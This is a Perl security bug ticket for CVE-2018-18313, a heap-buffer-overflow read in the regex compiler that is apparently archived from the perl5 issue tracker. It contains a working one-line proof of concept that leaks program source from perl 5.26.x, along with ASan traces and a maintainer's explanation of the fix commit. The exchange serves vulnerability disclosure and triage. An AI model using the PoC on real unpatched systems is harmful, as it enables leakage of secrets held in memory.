Repository navigation
[CVE-2018-18313] regcomp: heap-buffer-overflow read in S_grok_bslash_N (perl-5.26.2) #16554
Description
Activity
From @Etsukata
# Summary
- a crafted regular expression can cause heap-buffer-overflow read during
compilation which leads to information leak(ex: secret variables or source
codes)## (At least) Affected Versions
- 5.26.2
- 5.26.1
- other versions are under investigation# PoC
- attack PoC : source code dumped to stderr
```
[eiichi@x1 ~]$ ~/perl5/perlbrew/perls/perl-5.26.2/bin/perl -e '$a =
"[\0\\N{U+" . "." x 798 . "}"; qr/$a/; $x = "SECRET"' 2>&1 | xxd -g 1 | head
00000000: 4d 69 73 73 69 6e 67 20 72 69 67 68 74 20 62 72 Missing right br
00000010: 61 63 65 20 6f 6e 20 5c 4e 7b 7d 20 69 6e 20 72 ace on \N{} in r
00000020: 65 67 65 78 3b 20 6d 61 72 6b 65 64 20 62 79 20 egex; marked by
00000030: 3c 2d 2d 20 48 45 52 45 20 69 6e 20 6d 2f 20 3c <-- HERE in m/ <
00000040: 2d 2d 20 48 45 52 45 20 22 7d 22 3b 20 71 72 2f -- HERE "}"; qr/
00000050: 24 61 2f 3b 20 24 78 20 3d 20 22 53 45 43 52 45 $a/; $x = "SECRE
00000060: 54 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 T"..............
00000070: 00 11 02 00 00 00 00 00 00 80 71 a1 01 00 00 00 ..........q.....
00000080: 00 80 77 a1 01 00 00 00 00 28 72 a1 01 00 00 00 ..w......(r.....
00000090: 00 11 00 00 00 00 00 00 00 d8 71 a1 01 00 00 00 ..........q.....
```
- the simplest case with asan output
```
[eiichi@x1 ~]$ ~/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2 -e 'my $a
= "[\0\\N{U+.}"; qr/$a/'==26973==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60200000132c at pc 0x0000004dc2b4 bp 0x7ffe12396b10 sp 0x7ffe123962c0
READ of size 13 at 0x60200000132c thread T0
#0 0x4dc2b3 in __asan_memcpy
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4dc2b3)
#1 0xebfd4b in Perl_sv_vcatpvfn_flags
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:13067:6
#2 0xe8f679 in Perl_sv_vsetpvfn
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:10953:5
#3 0xba64c7 in Perl_vmess
/home/eiichi/git/etfuzz/ext/perl_5.26.2/util.c:1487:5
#4 0xa3c76a in S_re_croak2
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:19948:11
#5 0xb0fb73 in S_grok_bslash_N
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12027:9
#6 0xa96e75 in S_regatom
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12887:17
#7 0xa76aa0 in S_regpiece
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11673:11
#8 0xa48d95 in S_regbranch
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11598:18
#9 0x96c188 in S_reg
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11336:10
#10 0xac34a0 in S_regclass
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:17141:8
#11 0xa87ade in S_regatom
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12546:15
#12 0xa76aa0 in S_regpiece
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11673:11
#13 0xa48d95 in S_regbranch
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11598:18
#14 0x96c188 in S_reg
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11336:10
#15 0x937e24 in Perl_re_op_compile
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:7105:9
#16 0xffd4d4 in Perl_pp_regcomp
/home/eiichi/git/etfuzz/ext/perl_5.26.2/pp_ctl.c:108:14
#17 0xd2f48f in Perl_runops_standard
/home/eiichi/git/etfuzz/ext/perl_5.26.2/run.c:41:26
#18 0x6979ce in S_run_body
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c
#19 0x6979ce in perl_run
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:2455
#20 0x52a587 in main
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perlmain.c:123:9
#21 0x7fb447405f29 in __libc_start_main (/lib64/libc.so.6+0x20f29)
#22 0x435b89 in _start
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x435b89)0x60200000132c is located 4 bytes to the left of 11-byte region
[0x602000001330,0x60200000133b)
allocated by thread T0 here:
#0 0x4f2130 in malloc
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4f2130)
#1 0xb9dd20 in Perl_safesysmalloc
/home/eiichi/git/etfuzz/ext/perl_5.26.2/util.c:153:21
#2 0xdcd1d0 in Perl_sv_grow
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:1601:17
#3 0xdf1a22 in Perl_sv_setpvn
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:5003:12
#4 0xdf10d0 in Perl_sv_copypv_flags
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:3250:5
#5 0xd31205 in Perl_pp_stringify
/home/eiichi/git/etfuzz/ext/perl_5.26.2/pp_hot.c:89:5
#6 0xd2f48f in Perl_runops_standard
/home/eiichi/git/etfuzz/ext/perl_5.26.2/run.c:41:26
#7 0x585e47 in S_fold_constants
/home/eiichi/git/etfuzz/ext/perl_5.26.2/op.c:4557:2
#8 0x8e92ec in Perl_yyparse
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perly.y
#9 0x690456 in S_parse_body
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:2385:9
#10 0x681b92 in perl_parse
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:1700:2
#11 0x52a542 in main
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perlmain.c:121:18
#12 0x7fb447405f29 in __libc_start_main (/lib64/libc.so.6+0x20f29)SUMMARY: AddressSanitizer: heap-buffer-overflow
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4dc2b3) in
__asan_memcpy
Shadow bytes around the buggy address:
0x0c047fff8210: fa fa 00 fa fa fa 00 00 fa fa 00 00 fa fa 05 fa
0x0c047fff8220: fa fa 00 04 fa fa 00 02 fa fa 00 01 fa fa 00 02
0x0c047fff8230: fa fa 00 05 fa fa 00 02 fa fa 00 fa fa fa 00 01
0x0c047fff8240: fa fa 00 00 fa fa 02 fa fa fa fd fd fa fa fd fd
0x0c047fff8250: fa fa 00 02 fa fa 00 00 fa fa fd fd fa fa fd fd
=>0x0c047fff8260: fa fa fd fd fa[fa]00 03 fa fa fd fa fa fa fd fd
0x0c047fff8270: fa fa fd fd fa fa fd fa fa fa 00 02 fa fa fd fd
0x0c047fff8280: fa fa fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==26973==ABORTING
```From @khwilliamson
On 05/11/2018 02:51 AM, Eiichi Tsukata (via RT) wrote:
# New Ticket Created by Eiichi Tsukata
# Please include the string: [perl #133192]
# in the subject line of all future correspondence about this issue.
# <URL: https://rt-archive.perl.org/perl5/Ticket/Display.html?id=133192 ># Summary
- a crafted regular expression can cause heap-buffer-overflow read during
compilation which leads to information leak(ex: secret variables or source
codes)## (At least) Affected Versions
- 5.26.2
- 5.26.1
- other versions are under investigation# PoC
- attack PoC : source code dumped to stderr
```
[eiichi@x1 ~]$ ~/perl5/perlbrew/perls/perl-5.26.2/bin/perl -e '$a =
"[\0\\N{U+" . "." x 798 . "}"; qr/$a/; $x = "SECRET"' 2>&1 | xxd -g 1 | head
00000000: 4d 69 73 73 69 6e 67 20 72 69 67 68 74 20 62 72 Missing right br
00000010: 61 63 65 20 6f 6e 20 5c 4e 7b 7d 20 69 6e 20 72 ace on \N{} in r
00000020: 65 67 65 78 3b 20 6d 61 72 6b 65 64 20 62 79 20 egex; marked by
00000030: 3c 2d 2d 20 48 45 52 45 20 69 6e 20 6d 2f 20 3c <-- HERE in m/ <
00000040: 2d 2d 20 48 45 52 45 20 22 7d 22 3b 20 71 72 2f -- HERE "}"; qr/
00000050: 24 61 2f 3b 20 24 78 20 3d 20 22 53 45 43 52 45 $a/; $x = "SECRE
00000060: 54 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 T"..............
00000070: 00 11 02 00 00 00 00 00 00 80 71 a1 01 00 00 00 ..........q.....
00000080: 00 80 77 a1 01 00 00 00 00 28 72 a1 01 00 00 00 ..w......(r.....
00000090: 00 11 00 00 00 00 00 00 00 d8 71 a1 01 00 00 00 ..........q.....
```
- the simplest case with asan output
```
[eiichi@x1 ~]$ ~/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2 -e 'my $a
= "[\0\\N{U+.}"; qr/$a/'This was fixed in blead by
commit 43b2f4e
Author: Karl Williamson <khw@cpan.org>
Date: Sat Mar 25 15:00:22 2017 -0600regcomp.c: Convert some strchr to memchr
This allows things to work properly in the face of embedded NULs.
See the branch merge message for more information.So this ticket does not apply to our pending 5.28.
The date on that commit is misleading. It was not placed into blead
until this merge:commit c33d640
*Merge: d5e32b9 85bb8b9
Author: Karl Williamson <khw@cpan.org>
Date: Mon Nov 6 14:32:14 2017 -0700* Merge branch 'convert strchr to memchr' into blead
Using C string functions on Perl strings doesn't work properly if they
contain embedded NULs. This can happen with Perl program text, for
example, and even if the NUL is illegal, the generated diagnostics are
likely to be misleading as the parsing would have terminated
prematurely.I have done an audit on core for cases where C string functions
are used
in contexts where a Perl string is being processed. This came down to
uses of strchr() and strrchr(). This branch changes many of them to
memchr() and memrchr() respectively. Not all uses of these functions
need change, as there are places where C strings are what is being
processed, such as dealing with OS strings that are NUL terminated.
File paths and environ are two examples.Also, memchr and memrchr tend to be faster than their str equivalents,
as they only need to look for one termination condition, and there may
be hardware assistance on some platforms. Further, memrchr knows
exactly where to start looking, instead of having to find the NUL
ending
the string (strrchr is likely to be implemented as iterating over the
string using strchr from the left, over and over until it fails).I may have converted some str functions to mem ones unnecessarily,
as I
didn't check in full detail if some were operating only on C
strings, but
given that the mem ones are faster, this is OKWe could fix this particular instance in maintenance releases, but I
imagine that there are plenty of other attacks available using embedded
NULs.=================================================================
==26973==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60200000132c at pc 0x0000004dc2b4 bp 0x7ffe12396b10 sp 0x7ffe123962c0
READ of size 13 at 0x60200000132c thread T0
#0 0x4dc2b3 in __asan_memcpy
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4dc2b3)
#1 0xebfd4b in Perl_sv_vcatpvfn_flags
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:13067:6
#2 0xe8f679 in Perl_sv_vsetpvfn
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:10953:5
#3 0xba64c7 in Perl_vmess
/home/eiichi/git/etfuzz/ext/perl_5.26.2/util.c:1487:5
#4 0xa3c76a in S_re_croak2
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:19948:11
#5 0xb0fb73 in S_grok_bslash_N
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12027:9
#6 0xa96e75 in S_regatom
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12887:17
#7 0xa76aa0 in S_regpiece
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11673:11
#8 0xa48d95 in S_regbranch
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11598:18
#9 0x96c188 in S_reg
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11336:10
#10 0xac34a0 in S_regclass
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:17141:8
#11 0xa87ade in S_regatom
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12546:15
#12 0xa76aa0 in S_regpiece
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11673:11
#13 0xa48d95 in S_regbranch
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11598:18
#14 0x96c188 in S_reg
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11336:10
#15 0x937e24 in Perl_re_op_compile
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:7105:9
#16 0xffd4d4 in Perl_pp_regcomp
/home/eiichi/git/etfuzz/ext/perl_5.26.2/pp_ctl.c:108:14
#17 0xd2f48f in Perl_runops_standard
/home/eiichi/git/etfuzz/ext/perl_5.26.2/run.c:41:26
#18 0x6979ce in S_run_body
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c
#19 0x6979ce in perl_run
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:2455
#20 0x52a587 in main
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perlmain.c:123:9
#21 0x7fb447405f29 in __libc_start_main (/lib64/libc.so.6+0x20f29)
#22 0x435b89 in _start
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x435b89)0x60200000132c is located 4 bytes to the left of 11-byte region
[0x602000001330,0x60200000133b)
allocated by thread T0 here:
#0 0x4f2130 in malloc
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4f2130)
#1 0xb9dd20 in Perl_safesysmalloc
/home/eiichi/git/etfuzz/ext/perl_5.26.2/util.c:153:21
#2 0xdcd1d0 in Perl_sv_grow
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:1601:17
#3 0xdf1a22 in Perl_sv_setpvn
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:5003:12
#4 0xdf10d0 in Perl_sv_copypv_flags
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:3250:5
#5 0xd31205 in Perl_pp_stringify
/home/eiichi/git/etfuzz/ext/perl_5.26.2/pp_hot.c:89:5
#6 0xd2f48f in Perl_runops_standard
/home/eiichi/git/etfuzz/ext/perl_5.26.2/run.c:41:26
#7 0x585e47 in S_fold_constants
/home/eiichi/git/etfuzz/ext/perl_5.26.2/op.c:4557:2
#8 0x8e92ec in Perl_yyparse
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perly.y
#9 0x690456 in S_parse_body
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:2385:9
#10 0x681b92 in perl_parse
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:1700:2
#11 0x52a542 in main
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perlmain.c:121:18
#12 0x7fb447405f29 in __libc_start_main (/lib64/libc.so.6+0x20f29)SUMMARY: AddressSanitizer: heap-buffer-overflow
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4dc2b3) in
__asan_memcpy
Shadow bytes around the buggy address:
0x0c047fff8210: fa fa 00 fa fa fa 00 00 fa fa 00 00 fa fa 05 fa
0x0c047fff8220: fa fa 00 04 fa fa 00 02 fa fa 00 01 fa fa 00 02
0x0c047fff8230: fa fa 00 05 fa fa 00 02 fa fa 00 fa fa fa 00 01
0x0c047fff8240: fa fa 00 00 fa fa 02 fa fa fa fd fd fa fa fd fd
0x0c047fff8250: fa fa 00 02 fa fa 00 00 fa fa fd fd fa fa fd fd
=>0x0c047fff8260: fa fa fd fd fa[fa]00 03 fa fa fd fa fa fa fd fd
0x0c047fff8270: fa fa fd fd fa fa fd fa fa fa 00 02 fa fa fd fd
0x0c047fff8280: fa fa fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==26973==ABORTING
```The RT System itself - Status changed from 'new' to 'open'
From @khwilliamson
On 05/11/2018 10:23 AM, Karl Williamson wrote:
On 05/11/2018 02:51 AM, Eiichi Tsukata (via RT) wrote:
# New Ticket Created by Eiichi Tsukata
# Please include the string: [perl #133192]
# in the subject line of all future correspondence about this issue.
# <URL: https://rt-archive.perl.org/perl5/Ticket/Display.html?id=133192 ># Summary
- a crafted regular expression can cause heap-buffer-overflow read during
compilation which leads to information leak(ex: secret variables or
source
codes)## (At least) Affected Versions
- 5.26.2
- 5.26.1
- other versions are under investigation# PoC
- attack PoC : source code dumped to stderr
```
[eiichi@x1 ~]$ ~/perl5/perlbrew/perls/perl-5.26.2/bin/perl -e '$a =
"[\0\\N{U+" . "." x 798 . "}"; qr/$a/; $x = "SECRET"' 2>&1 | xxd -g 1
| head
00000000: 4d 69 73 73 69 6e 67 20 72 69 67 68 74 20 62 72 Missing
right br
00000010: 61 63 65 20 6f 6e 20 5c 4e 7b 7d 20 69 6e 20 72 ace on \N{}
in r
00000020: 65 67 65 78 3b 20 6d 61 72 6b 65 64 20 62 79 20 egex;
marked by
00000030: 3c 2d 2d 20 48 45 52 45 20 69 6e 20 6d 2f 20 3c <-- HERE in
m/ <
00000040: 2d 2d 20 48 45 52 45 20 22 7d 22 3b 20 71 72 2f -- HERE
"}"; qr/
00000050: 24 61 2f 3b 20 24 78 20 3d 20 22 53 45 43 52 45 $a/; $x =
"SECRE
00000060: 54 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00
T"..............
00000070: 00 11 02 00 00 00 00 00 00 80 71 a1 01 00 00 00
..........q.....
00000080: 00 80 77 a1 01 00 00 00 00 28 72 a1 01 00 00 00
..w......(r.....
00000090: 00 11 00 00 00 00 00 00 00 d8 71 a1 01 00 00 00
..........q.....
```
- the simplest case with asan output
```
[eiichi@x1 ~]$ ~/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2 -e
'my $a
= "[\0\\N{U+.}"; qr/$a/'This was fixed in blead by
commit 43b2f4e
Author: Karl Williamson <khw@cpan.org>
Date: Sat Mar 25 15:00:22 2017 -0600regcomp.c: Convert some strchr to memchr
This allows things to work properly in the face of embedded NULs.
See the branch merge message for more information.So this ticket does not apply to our pending 5.28.
The date on that commit is misleading. It was not placed into blead
until this merge:commit c33d640
*Merge: d5e32b9 85bb8b9
Author: Karl Williamson <khw@cpan.org>
Date: Mon Nov 6 14:32:14 2017 -0700* Merge branch 'convert strchr to memchr' into blead
Using C string functions on Perl strings doesn't work properly if
they
contain embedded NULs. This can happen with Perl program text, for
example, and even if the NUL is illegal, the generated diagnostics
are
likely to be misleading as the parsing would have terminated
prematurely.I have done an audit on core for cases where C string functions
are used
in contexts where a Perl string is being processed. This came
down to
uses of strchr() and strrchr(). This branch changes many of them to
memchr() and memrchr() respectively. Not all uses of these functions
need change, as there are places where C strings are what is being
processed, such as dealing with OS strings that are NUL terminated.
File paths and environ are two examples.Also, memchr and memrchr tend to be faster than their str
equivalents,
as they only need to look for one termination condition, and there
may
be hardware assistance on some platforms. Further, memrchr knows
exactly where to start looking, instead of having to find the NUL
ending
the string (strrchr is likely to be implemented as iterating over the
string using strchr from the left, over and over until it fails).I may have converted some str functions to mem ones unnecessarily,
as I
didn't check in full detail if some were operating only on C
strings, but
given that the mem ones are faster, this is OKWe could fix this particular instance in maintenance releases, but I
imagine that there are plenty of other attacks available using embedded
NULs.This issue was added to blead by this commit:
commit b6d6707
Author: Karl Williamson <khw@cpan.org>
Date: Mon Mar 16 22:38:20 2015 -0600Fix qr'\N{U+41}' on EBCDIC platforms
Prior to this commit, the regex compiler was relying on the lexer to do
the translation from Unicode to native for \N{...} constructs, where it
was simpler to do. However, when the pattern is a single-quoted
string,
it is passed unchanged to the regex compiler, and did not work. Fixing
it required some refactoring, though it led to a clean API in a static
function.This was spotted by Father Chrysostomos.
=================================================================
==26973==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60200000132c at pc 0x0000004dc2b4 bp 0x7ffe12396b10 sp 0x7ffe123962c0
READ of size 13 at 0x60200000132c thread T0
#0 0x4dc2b3 in __asan_memcpy
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4dc2b3)
#1 0xebfd4b in Perl_sv_vcatpvfn_flags
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:13067:6
#2 0xe8f679 in Perl_sv_vsetpvfn
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:10953:5
#3 0xba64c7 in Perl_vmess
/home/eiichi/git/etfuzz/ext/perl_5.26.2/util.c:1487:5
#4 0xa3c76a in S_re_croak2
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:19948:11
#5 0xb0fb73 in S_grok_bslash_N
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12027:9
#6 0xa96e75 in S_regatom
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12887:17
#7 0xa76aa0 in S_regpiece
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11673:11
#8 0xa48d95 in S_regbranch
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11598:18
#9 0x96c188 in S_reg
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11336:10
#10 0xac34a0 in S_regclass
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:17141:8
#11 0xa87ade in S_regatom
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:12546:15
#12 0xa76aa0 in S_regpiece
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11673:11
#13 0xa48d95 in S_regbranch
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11598:18
#14 0x96c188 in S_reg
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:11336:10
#15 0x937e24 in Perl_re_op_compile
/home/eiichi/git/etfuzz/ext/perl_5.26.2/regcomp.c:7105:9
#16 0xffd4d4 in Perl_pp_regcomp
/home/eiichi/git/etfuzz/ext/perl_5.26.2/pp_ctl.c:108:14
#17 0xd2f48f in Perl_runops_standard
/home/eiichi/git/etfuzz/ext/perl_5.26.2/run.c:41:26
#18 0x6979ce in S_run_body
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c
#19 0x6979ce in perl_run
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:2455
#20 0x52a587 in main
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perlmain.c:123:9
#21 0x7fb447405f29 in __libc_start_main (/lib64/libc.so.6+0x20f29)
#22 0x435b89 in _start
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x435b89)0x60200000132c is located 4 bytes to the left of 11-byte region
[0x602000001330,0x60200000133b)
allocated by thread T0 here:
#0 0x4f2130 in malloc
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4f2130)
#1 0xb9dd20 in Perl_safesysmalloc
/home/eiichi/git/etfuzz/ext/perl_5.26.2/util.c:153:21
#2 0xdcd1d0 in Perl_sv_grow
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:1601:17
#3 0xdf1a22 in Perl_sv_setpvn
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:5003:12
#4 0xdf10d0 in Perl_sv_copypv_flags
/home/eiichi/git/etfuzz/ext/perl_5.26.2/sv.c:3250:5
#5 0xd31205 in Perl_pp_stringify
/home/eiichi/git/etfuzz/ext/perl_5.26.2/pp_hot.c:89:5
#6 0xd2f48f in Perl_runops_standard
/home/eiichi/git/etfuzz/ext/perl_5.26.2/run.c:41:26
#7 0x585e47 in S_fold_constants
/home/eiichi/git/etfuzz/ext/perl_5.26.2/op.c:4557:2
#8 0x8e92ec in Perl_yyparse
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perly.y
#9 0x690456 in S_parse_body
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:2385:9
#10 0x681b92 in perl_parse
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perl.c:1700:2
#11 0x52a542 in main
/home/eiichi/git/etfuzz/ext/perl_5.26.2/perlmain.c:121:18
#12 0x7fb447405f29 in __libc_start_main (/lib64/libc.so.6+0x20f29)SUMMARY: AddressSanitizer: heap-buffer-overflow
(/home/eiichi/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2+0x4dc2b3) in__asan_memcpy
Shadow bytes around the buggy address:
0x0c047fff8210: fa fa 00 fa fa fa 00 00 fa fa 00 00 fa fa 05 fa
0x0c047fff8220: fa fa 00 04 fa fa 00 02 fa fa 00 01 fa fa 00 02
0x0c047fff8230: fa fa 00 05 fa fa 00 02 fa fa 00 fa fa fa 00 01
0x0c047fff8240: fa fa 00 00 fa fa 02 fa fa fa fd fd fa fa fd fd
0x0c047fff8250: fa fa 00 02 fa fa 00 00 fa fa fd fd fa fa fd fd
=>0x0c047fff8260: fa fa fd fd fa[fa]00 03 fa fa fd fa fa fa fd fd
0x0c047fff8270: fa fa fd fd fa fa fd fa fa fa 00 02 fa fa fd fd
0x0c047fff8280: fa fa fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==26973==ABORTING
```From @Etsukata
Thanks for your excellent and detailed explanation!
I guessed this may be fixed in blead, now I'm convinced.We could fix this particular instance in maintenance releases, but I
imagine that there are plenty of other attacks available using embedded
NULs.I understand. I'll check similar attacks at current blead in case.
2018-05-12 5:03 GMT+09:00 karl williamson via RT <
perl5-security-report-followup@perl.org>:On 05/11/2018 10:23 AM, Karl Williamson wrote:
On 05/11/2018 02:51 AM, Eiichi Tsukata (via RT) wrote:
# New Ticket Created by Eiichi Tsukata
# Please include the string: [perl #133192]
# in the subject line of all future correspondence about this issue.
# <URL: https://rt-archive.perl.org/perl5/Ticket/Display.html?id=133192 ># Summary
- a crafted regular expression can cause heap-buffer-overflow read
during
compilation which leads to information leak(ex: secret variables or
source
codes)## (At least) Affected Versions
- 5.26.2
- 5.26.1
- other versions are under investigation# PoC
- attack PoC : source code dumped to stderr
```
[eiichi@x1 ~]$ ~/perl5/perlbrew/perls/perl-5.26.2/bin/perl -e '$a =
"[\0\\N{U+" . "." x 798 . "}"; qr/$a/; $x = "SECRET"' 2>&1 | xxd -g 1
| head
00000000: 4d 69 73 73 69 6e 67 20 72 69 67 68 74 20 62 72 Missing
right br
00000010: 61 63 65 20 6f 6e 20 5c 4e 7b 7d 20 69 6e 20 72 ace on \N{}
in r
00000020: 65 67 65 78 3b 20 6d 61 72 6b 65 64 20 62 79 20 egex;
marked by
00000030: 3c 2d 2d 20 48 45 52 45 20 69 6e 20 6d 2f 20 3c <-- HERE in
m/ <
00000040: 2d 2d 20 48 45 52 45 20 22 7d 22 3b 20 71 72 2f -- HERE
"}"; qr/
00000050: 24 61 2f 3b 20 24 78 20 3d 20 22 53 45 43 52 45 $a/; $x =
"SECRE
00000060: 54 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00
T"..............
00000070: 00 11 02 00 00 00 00 00 00 80 71 a1 01 00 00 00
..........q.....
00000080: 00 80 77 a1 01 00 00 00 00 28 72 a1 01 00 00 00
..w......(r.....
00000090: 00 11 00 00 00 00 00 00 00 d8 71 a1 01 00 00 00
..........q.....
```
- the simplest case with asan output
```
[eiichi@x1 ~]$ ~/git/etfuzz/ext/perl_5.26.2_BUILD/bin/perl5.26.2 -e
'my $a
= "[\0\\N{U+.}"; qr/$a/'This was fixed in blead by
commit 43b2f4e
Author: Karl Williamson <khw@cpan.org>
Date: Sat Mar 25 15:00:22 2017 -0600regcomp\.c​: Convert some strchr to memchr This allows things to work properly in the face of embedded NULs\. See the branch merge message for more information\.So this ticket does not apply to our pending 5.28.
